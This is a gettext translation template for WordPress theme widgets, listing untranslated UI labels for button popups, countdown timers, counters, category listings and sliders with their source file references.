msgid "Add Subtext?"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:179
#: inc/elementor/modules/penci-button/widgets/penci-button.php:232
msgid "SubText"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:181
#: inc/elementor/modules/penci-button/widgets/penci-button.php:234
msgid "Example Subtext"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:182
#: inc/elementor/modules/penci-button/widgets/penci-button.php:235
msgid "Add Your SubText Here"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:188
#: inc/elementor/modules/penci-button/widgets/penci-button.php:244
msgid "Text & Subtext Alignment"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:212
#: inc/elementor/modules/penci-button/widgets/penci-button.php:271
msgid "Subtext Margin"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:230
#: inc/elementor/modules/penci-button/widgets/penci-button.php:292
#: inc/js_composer/shortcodes/button_popup/settings.php:179
msgid "Button ID"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:233
#: inc/elementor/modules/penci-button/widgets/penci-button.php:295
msgid "Add your custom id WITHOUT the Pound key. e.g: my-id"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:234
#: inc/elementor/modules/penci-button/widgets/penci-button.php:296
msgid ""
"Please make sure the ID is unique and not used elsewhere on the page this "
"form is displayed. This field allows <code>A-z 0-9</code> & underscore chars "
"without spaces."
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:241
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:259
#: inc/js_composer/shortcodes/button_popup/settings.php:54
#: inc/js_composer/shortcodes/button_popup/settings.php:61
msgid "Popup Content"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:246
msgid "Popup Content Style:"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:256
msgid "Popup Content:"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:263
msgid "Popup Block:"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:280
#: inc/js_composer/shortcodes/button_popup/settings.php:80
msgid "Popup Height"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:289
msgid "Popup Postion:"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:306
msgid "Popup Open Animation Style:"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:335
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:366
#: inc/elementor/modules/penci-button/widgets/penci-button.php:325
#: inc/elementor/modules/penci-button/widgets/penci-button.php:373
msgid "Text Shadow"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:351
#: inc/elementor/modules/penci-button/widgets/penci-button.php:352
msgid "Subtext"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:359
#: inc/elementor/modules/penci-button/widgets/penci-button.php:363
msgid "SubText Typography"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:394
#: inc/elementor/modules/penci-button/widgets/penci-button.php:415
msgid "Subtext Color"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:402
#: inc/elementor/modules/penci-button/widgets/penci-button.php:426
msgid "Button Background"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:418
#: inc/elementor/modules/penci-button/widgets/penci-button.php:448
msgid "Second Borders Color( Gradient Borders )"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:426
#: inc/elementor/modules/penci-button/widgets/penci-button.php:462
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:457
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:484
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:449
msgid "Box Shadow"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:434
#: inc/elementor/modules/penci-button/widgets/penci-button.php:473
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1144
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1296
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:466
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1166
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:453
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:370
#: inc/options/framework/fields/link_color/link_color.php:37
#: inc/template-builder/archive-elements/posts.php:1336
msgid "Hover"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:454
#: inc/elementor/modules/penci-button/widgets/penci-button.php:502
msgid "Subtext Hover Color"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:462
#: inc/elementor/modules/penci-button/widgets/penci-button.php:513
msgid "Button Hover Background"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:478
#: inc/elementor/modules/penci-button/widgets/penci-button.php:535
msgid "Second Borders Hover Color( Gradient Borders )"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:485
#: inc/elementor/modules/penci-button/widgets/penci-button.php:548
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:152
#: inc/js_composer/shortcodes/info_box/settings.php:173
msgid "Hover Animation"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:491
#: inc/elementor/modules/penci-button/widgets/penci-button.php:557
msgid "Box Shadow on Hover"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:503
msgid "Popup Design"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:508
msgid "Popup Content Padding"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:518
msgid "Background Settings"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:524
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:422
#: inc/js_composer/shortcodes/about_me/settings.php:168
#: inc/js_composer/shortcodes/custom_sliders/settings.php:92
msgid "Content Color"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:532
msgid "Close Button Color"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:540
msgid "Close Button Size"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:549
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:483
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:951
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1021
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:680
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:692
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:389
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:715
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:242
#: inc/js_composer/shortcodes/custom_sliders/settings.php:181
#: inc/js_composer/shortcodes/custom_sliders/settings.php:408
#: inc/js_composer/shortcodes/custom_sliders/settings.php:503
#: inc/js_composer/shortcodes/image_gallery/settings.php:167
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:301
msgid "Overlay Background Color"
msgstr ""

#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:557
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:463
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:941
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1011
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:700
#: inc/js_composer/shortcodes/custom_sliders/settings.php:152
#: inc/js_composer/shortcodes/custom_sliders/settings.php:378
#: inc/js_composer/shortcodes/custom_sliders/settings.php:473
msgid "Overlay Background Opacity"
msgstr ""

#: inc/elementor/modules/penci-button/widgets/penci-button.php:193
msgid "Before"
msgstr ""

#: inc/elementor/modules/penci-button/widgets/penci-button.php:194
msgid "After"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:25
msgid " Taxonomy Listing"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:80
msgid "Select the Excluded Taxonomies Terms."
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:113
#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:109
#: inc/template-builder/archive-elements/taxonomy.php:173
msgid "Limit Terms to Show"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:119
msgid "Hide Empty Items"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:128
msgid "Hierarchical"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:129
msgid ""
"Whether to include terms that have non-empty descendants (even if \"Hide "
"Empty Items\" is set to \"Yes\")."
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:138
#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:62
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:37
msgid "Display Style"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:209
msgid "Showing Term Data"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:216
msgid "Posts Count"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:221
msgid "Hide Term Meta on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:246
msgid "Custom Words Length for Term Name"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:255
msgid "Hide Terms Description on Mobile"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:264
msgid "Custom Words Length for Terms Description"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:273
msgid "Show View All Posts Button"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:282
msgid "Hide View All Posts on Small Grid Items"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:295
msgid "Hide View All Posts on Mobile"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:351
msgid "Content Position"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:405
msgid "Custom Item Height (Unit is px)"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:436
msgid "Load More Terms Button"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:439
msgid "Load More Terms Button & Infinite Scroll just works on frontend only."
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:494
#: inc/js_composer/soledad_vc.php:1402
msgid "Item Style"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:631
msgid "Overlay Style"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:700
msgid "Apply Separate Background for Term Meta"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:705
msgid "Background for Term Meta"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:715
msgid "Background for Term Meta on Hover"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:782
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:420
msgid "Typography & Colors"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:787
msgid "Terms Items"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:793
msgid "Add Vertical Border Between Terms Items"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:880
msgid "Term Title"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:913
msgid "Term Meta Text"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:955
msgid "Terms Description"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:976
#: inc/js_composer/soledad_vc.php:1290
msgid "View All Button"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1069
msgid "Add Icon to \"View All\" Button"
msgstr ""

#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1100
msgid "Load More Button Max Width"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:23
msgid " Comments Listing"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:52
msgid "Number of Comments to Show:"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:61
msgid "Custom Comment Content Words Length:"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:70
msgid "Avatar Size:"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:79
msgid "Avatar Border Radius:"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:103
msgid "Spacing Between Comments"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:169
msgid "Comment Text Typography"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:177
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:522
#: inc/js_composer/shortcodes/pc_single_share/settings.php:78
msgid "Comment Text Color"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:187
msgid "Comment Text Links Color"
msgstr ""

#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:197
msgid "Comment Text Links Hover Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:20
msgid " Countdown"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:44
#: inc/js_composer/shortcodes/count_down/settings.php:11
msgid "Count Down"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:63
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:78
#: inc/js_composer/shortcodes/count_down/settings.php:31
#: inc/js_composer/shortcodes/counter_up/settings.php:28
msgid "Posttion"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:76
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:294
#: inc/js_composer/shortcodes/count_down/settings.php:42
#: inc/js_composer/shortcodes/count_down/settings.php:227
msgid "Year"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:83
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:279
#: inc/js_composer/shortcodes/count_down/settings.php:49
#: inc/js_composer/shortcodes/count_down/settings.php:211
msgid "Month"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:90
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:250
#: inc/js_composer/shortcodes/count_down/settings.php:56
#: inc/js_composer/shortcodes/count_down/settings.php:179
#: inc/woocommerce/woocommerce.php:138
msgid "Day"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:96
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:309
#: inc/js_composer/shortcodes/count_down/settings.php:64
#: inc/js_composer/shortcodes/count_down/settings.php:243
msgid "Hour"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:102
#: inc/js_composer/shortcodes/count_down/settings.php:72
msgid "Minus"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:108
#: inc/js_composer/shortcodes/count_down/settings.php:80
msgid "Sec"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:117
#: inc/js_composer/shortcodes/count_down/settings.php:89
msgid "Select time units to display in countdown timer"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:123
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:301
#: inc/js_composer/shortcodes/count_down/settings.php:92
#: inc/js_composer/shortcodes/count_down/settings.php:235
msgid "Years"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:124
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:286
#: inc/js_composer/shortcodes/count_down/settings.php:93
#: inc/js_composer/shortcodes/count_down/settings.php:219
msgid "Months"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:125
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:271
#: inc/js_composer/shortcodes/count_down/settings.php:94
#: inc/js_composer/shortcodes/count_down/settings.php:203
msgid "Weeks"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:126
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:257
#: inc/js_composer/shortcodes/count_down/settings.php:95
#: inc/js_composer/shortcodes/count_down/settings.php:187
msgid "Days"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:127
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:316
#: inc/js_composer/shortcodes/count_down/settings.php:96
#: inc/js_composer/shortcodes/count_down/settings.php:251
#: inc/woocommerce/woocommerce.php:139
msgid "Hours"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:128
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:331
#: inc/js_composer/shortcodes/count_down/settings.php:97
#: inc/js_composer/shortcodes/count_down/settings.php:267
#: inc/woocommerce/woocommerce.php:141
msgid "Minutes"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:129
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:346
#: inc/js_composer/shortcodes/count_down/settings.php:98
#: inc/js_composer/shortcodes/count_down/settings.php:283
#: inc/woocommerce/woocommerce.php:140
msgid "Seconds"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:152
#: inc/js_composer/shortcodes/count_down/settings.php:103
msgid "Timer digit border style"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:172
#: inc/js_composer/shortcodes/count_down/settings.php:117
msgid "Timer digit border width"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:185
#: inc/js_composer/shortcodes/count_down/settings.php:126
msgid "Timer digit border radius"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:197
#: inc/js_composer/shortcodes/count_down/settings.php:135
msgid "Timer digit padding"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:205
msgid "Timer digit margin top"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:213
#: inc/js_composer/shortcodes/count_down/settings.php:143
msgid "Timer unit margin top"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:221
#: inc/js_composer/shortcodes/count_down/settings.php:151
msgid "Width of Countdown Section"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:230
#: inc/js_composer/shortcodes/count_down/settings.php:159
msgid "Height of Countdown Section"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:241
msgid "Strings Translation"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:248
#: inc/js_composer/shortcodes/count_down/settings.php:177
msgid "Day (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:255
#: inc/js_composer/shortcodes/count_down/settings.php:185
msgid "Days (Plural)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:262
#: inc/js_composer/shortcodes/count_down/settings.php:193
msgid "Week (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:264
#: inc/js_composer/shortcodes/count_down/settings.php:195
msgid "Week"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:269
msgid "Weeks (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:277
#: inc/js_composer/shortcodes/count_down/settings.php:209
msgid "Month (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:284
msgid "Months (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:292
#: inc/js_composer/shortcodes/count_down/settings.php:225
msgid "Year (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:299
msgid "Years (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:307
#: inc/js_composer/shortcodes/count_down/settings.php:241
msgid "Hour (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:314
msgid "Hours (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:322
#: inc/js_composer/shortcodes/count_down/settings.php:257
msgid "Minute (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:324
#: inc/js_composer/shortcodes/count_down/settings.php:259
msgid "Minute"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:329
msgid "Minutes (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:337
#: inc/js_composer/shortcodes/count_down/settings.php:273
msgid "Second (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:339
#: inc/js_composer/shortcodes/count_down/settings.php:275
msgid "Second"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:344
msgid "Seconds (Singular)"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:363
msgid "Timer Digit Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:373
msgid "Timer Digit Typography"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:381
msgid "Timer Digit Border Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:395
msgid "Timer Digit Background Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:405
msgid "Timer Unit Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:414
msgid "Timer Unit Typography"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:420
msgid "Countdown Section Background Color"
msgstr ""

#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:432
msgid "Countdown Section Border Color"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:22
msgid " Counter Up"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:49
#: inc/js_composer/shortcodes/counter_up/settings.php:10
msgid "Counter Up"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:55
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:43
#: inc/js_composer/inc/vc-params-helper.php:806
msgid "Element Columns"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:59
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:47
#: inc/js_composer/inc/vc-params-helper.php:810
#: inc/js_composer/shortcodes/video_playlist/settings.php:31
msgid "1 Column ( Small Container Width)"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:60
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:48
#: inc/js_composer/inc/vc-params-helper.php:811
#: inc/js_composer/shortcodes/video_playlist/settings.php:32
msgid "2 Columns ( Medium Container Width )"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:61
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:49
#: inc/js_composer/inc/vc-params-helper.php:812
#: inc/js_composer/shortcodes/video_playlist/settings.php:33
msgid "3 Columns ( Large Container Width )"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:91
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:86
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:102
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:90
#: inc/js_composer/shortcodes/counter_up/settings.php:40
#: inc/js_composer/shortcodes/counter_up/settings.php:323
#: inc/js_composer/shortcodes/product_brand/settings.php:16
msgid "Number"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:99
#: inc/js_composer/shortcodes/counter_up/settings.php:45
msgid "Prefix of number"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:106
#: inc/js_composer/shortcodes/counter_up/settings.php:50
msgid "Suffix of number"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:121
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:49
#: inc/js_composer/shortcodes/counter_up/settings.php:61
#: inc/js_composer/shortcodes/info_box/settings.php:103
msgid "Icon type"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:151
msgid "Icon border style"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:167
#: inc/js_composer/shortcodes/counter_up/settings.php:105
msgid "Border width for Icon"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:175
#: inc/js_composer/shortcodes/counter_up/settings.php:114
msgid "Border radius for Icon"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:183
#: inc/js_composer/shortcodes/counter_up/settings.php:123
msgid "Padding for Icon"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:190
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:530
msgid "Image With/Height"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:198
msgid "Margin Bottom for Icon or Image"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:205
msgid "Margin Top for Title"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:212
#: inc/js_composer/shortcodes/counter_up/settings.php:172
msgid "Delay"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:219
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:143
#: inc/instagram/widget.php:225
#: inc/js_composer/shortcodes/counter_up/settings.php:177
msgid "Time"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:237
#: inc/js_composer/shortcodes/counter_up/settings.php:299
#: inc/js_composer/shortcodes/info_box/settings.php:346
#: inc/js_composer/shortcodes/open_hours/settings.php:99
msgid "Icon color"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:244
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:578
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:139
#: inc/js_composer/shortcodes/counter_up/settings.php:314
#: inc/js_composer/shortcodes/open_hours/settings.php:107
msgid "Font size for Icon"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:253
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1361
#: inc/js_composer/shortcodes/counter_up/settings.php:330
msgid "Number Color"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:261
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1355
msgid "Typography for Number"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:267
#: inc/js_composer/shortcodes/counter_up/settings.php:383
msgid "Prefix and Suffix Color"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:275
msgid "Typography for Prefix and Suffix"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:282
#: inc/js_composer/shortcodes/counter_up/settings.php:411
#: inc/js_composer/shortcodes/fancy_heading/settings.php:305
#: inc/js_composer/shortcodes/info_box/settings.php:429
#: inc/js_composer/shortcodes/open_hours/settings.php:126
#: inc/js_composer/shortcodes/pricing_table/settings.php:249
msgid "Title color"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:291
msgid "Typography for Title"
msgstr ""

#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:306
#: inc/js_composer/shortcodes/counter_up/settings.php:183
msgid "Show Heading Title"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:21
#: inc/js_composer/shortcodes/custom_sliders/settings.php:10
msgid "Custom Slider"
msgstr ""

#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:41
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:526
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:793
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:668
msgid "Slides"
msgstr ""

